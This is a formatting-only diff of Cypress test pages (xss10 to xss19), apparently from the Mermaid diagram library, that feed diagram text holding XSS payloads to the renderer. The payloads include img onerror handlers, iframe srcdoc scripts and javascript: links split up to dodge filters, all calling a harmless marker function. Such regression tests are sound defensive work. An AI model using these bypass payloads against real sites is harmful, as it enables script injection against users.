diff --git a/cypress/platform/xss10.html b/cypress/platform/xss10.html
index 1a863b4b7..6a027f514 100644
--- a/cypress/platform/xss10.html
+++ b/cypress/platform/xss10.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -88,20 +94,20 @@
       }
 
       var diagram = 'classDiagram\n';
-diagram += 'class Square~<img/src';
-diagram += "='1'/onerror=xssAttack()>~{\n";
-diagram += 'id A\n';
-diagram += '}';
+      diagram += 'class Square~<img/src';
+      diagram += "='1'/onerror=xssAttack()>~{\n";
+      diagram += 'id A\n';
+      diagram += '}';
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss11.html b/cypress/platform/xss11.html
index 8eadfa43b..9126ac823 100644
--- a/cypress/platform/xss11.html
+++ b/cypress/platform/xss11.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,19 +93,19 @@
         throw new Error('XSS Succeeded');
       }
 
-var diagram = 'stateDiagram-v2\n';
-diagram += 's2 : This is a state description<img/src';
-diagram += "='1'/onerror=xssAttack()>";
+      var diagram = 'stateDiagram-v2\n';
+      diagram += 's2 : This is a state description<img/src';
+      diagram += "='1'/onerror=xssAttack()>";
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss12.html b/cypress/platform/xss12.html
index ff3728542..5f6a3f229 100644
--- a/cypress/platform/xss12.html
+++ b/cypress/platform/xss12.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,19 +93,19 @@
         throw new Error('XSS Succeeded');
       }
 
-var diagram = 'stateDiagram-v2\n';
-diagram += 's2 : A<img/src';
-diagram += "='1'/onerror=xssAttack()>";
+      var diagram = 'stateDiagram-v2\n';
+      diagram += 's2 : A<img/src';
+      diagram += "='1'/onerror=xssAttack()>";
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss13.html b/cypress/platform/xss13.html
index f3e0ecc49..41e868d5c 100644
--- a/cypress/platform/xss13.html
+++ b/cypress/platform/xss13.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,19 +93,19 @@
         throw new Error('XSS Succeeded');
       }
 
-var diagram = 'stateDiagram-v2\n';
-diagram += 'if_state --> False: if n < 0<img/src';
-diagram += "='1'/onerror=xssAttack()>";
+      var diagram = 'stateDiagram-v2\n';
+      diagram += 'if_state --> False: if n < 0<img/src';
+      diagram += "='1'/onerror=xssAttack()>";
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss14.html b/cypress/platform/xss14.html
index 75492bbf4..f3bdf8605 100644
--- a/cypress/platform/xss14.html
+++ b/cypress/platform/xss14.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -88,20 +94,20 @@
       }
 
       var diagram = 'classDiagram\n';
-diagram += 'classA <-- classB : <ifr';
-diagram += "ame/srcdoc='<scr";
-diagram += 'ipt>parent.xssAttack(`XSS`)</';
-diagram += "script>'>";
+      diagram += 'classA <-- classB : <ifr';
+      diagram += "ame/srcdoc='<scr";
+      diagram += 'ipt>parent.xssAttack(`XSS`)</';
+      diagram += "script>'>";
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss15.html b/cypress/platform/xss15.html
index 1d7cfd5e7..5a3753d53 100644
--- a/cypress/platform/xss15.html
+++ b/cypress/platform/xss15.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -90,17 +96,17 @@
       var diagram = `sequenceDiagram
     participant John
     links John: {"XSS": "javas`;
-diagram += `cript:alert('AudioParam')"}`;
+      diagram += `cript:alert('AudioParam')"}`;
 
-//   var diagram = "stateDiagram-v2\n";
-//  diagram += "<img/src='1'/onerror"
-//  diagram += "=xssAttack()> --> B";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      //   var diagram = "stateDiagram-v2\n";
+      //  diagram += "<img/src='1'/onerror"
+      //  diagram += "=xssAttack()> --> B";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss16.html b/cypress/platform/xss16.html
index 69355aea3..fe05206ce 100644
--- a/cypress/platform/xss16.html
+++ b/cypress/platform/xss16.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -91,15 +97,15 @@
     participant Alice
     links Alice: { "Click me!" : "javasjavascript:cript:alert('goose')" }`;
 
-// //   var diagram = "stateDiagram-v2\n";
-// //  diagram += "<img/src='1'/onerror"
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      // //   var diagram = "stateDiagram-v2\n";
+      // //  diagram += "<img/src='1'/onerror"
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss17.html b/cypress/platform/xss17.html
index 874dcb7af..95b52fcc6 100644
--- a/cypress/platform/xss17.html
+++ b/cypress/platform/xss17.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -91,15 +97,15 @@
     participant Alice
     link Alice: Click Me!@javasjavascript:cript:alert("goose")`;
 
-// //   var diagram = "stateDiagram-v2\n";
-// //  diagram += "<img/src='1'/onerror"
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      // //   var diagram = "stateDiagram-v2\n";
+      // //  diagram += "<img/src='1'/onerror"
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss18.html b/cypress/platform/xss18.html
index c93e603b1..6fb8ec69e 100644
--- a/cypress/platform/xss18.html
+++ b/cypress/platform/xss18.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -90,15 +96,15 @@
       var diagram = `classDiagram
       Class "<img/src='x'/onerror=xssAttack(1)>" <--> "<img/src='x'/onerror=xssAttack(2)>" C2: Cool label`;
 
-// //   var diagram = "stateDiagram-v2\n";
-// //  diagram += "<img/src='1'/onerror"
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      // //   var diagram = "stateDiagram-v2\n";
+      // //  diagram += "<img/src='1'/onerror"
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss19.html b/cypress/platform/xss19.html
index cce0d97a4..590a195aa 100644
--- a/cypress/platform/xss19.html
+++ b/cypress/platform/xss19.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
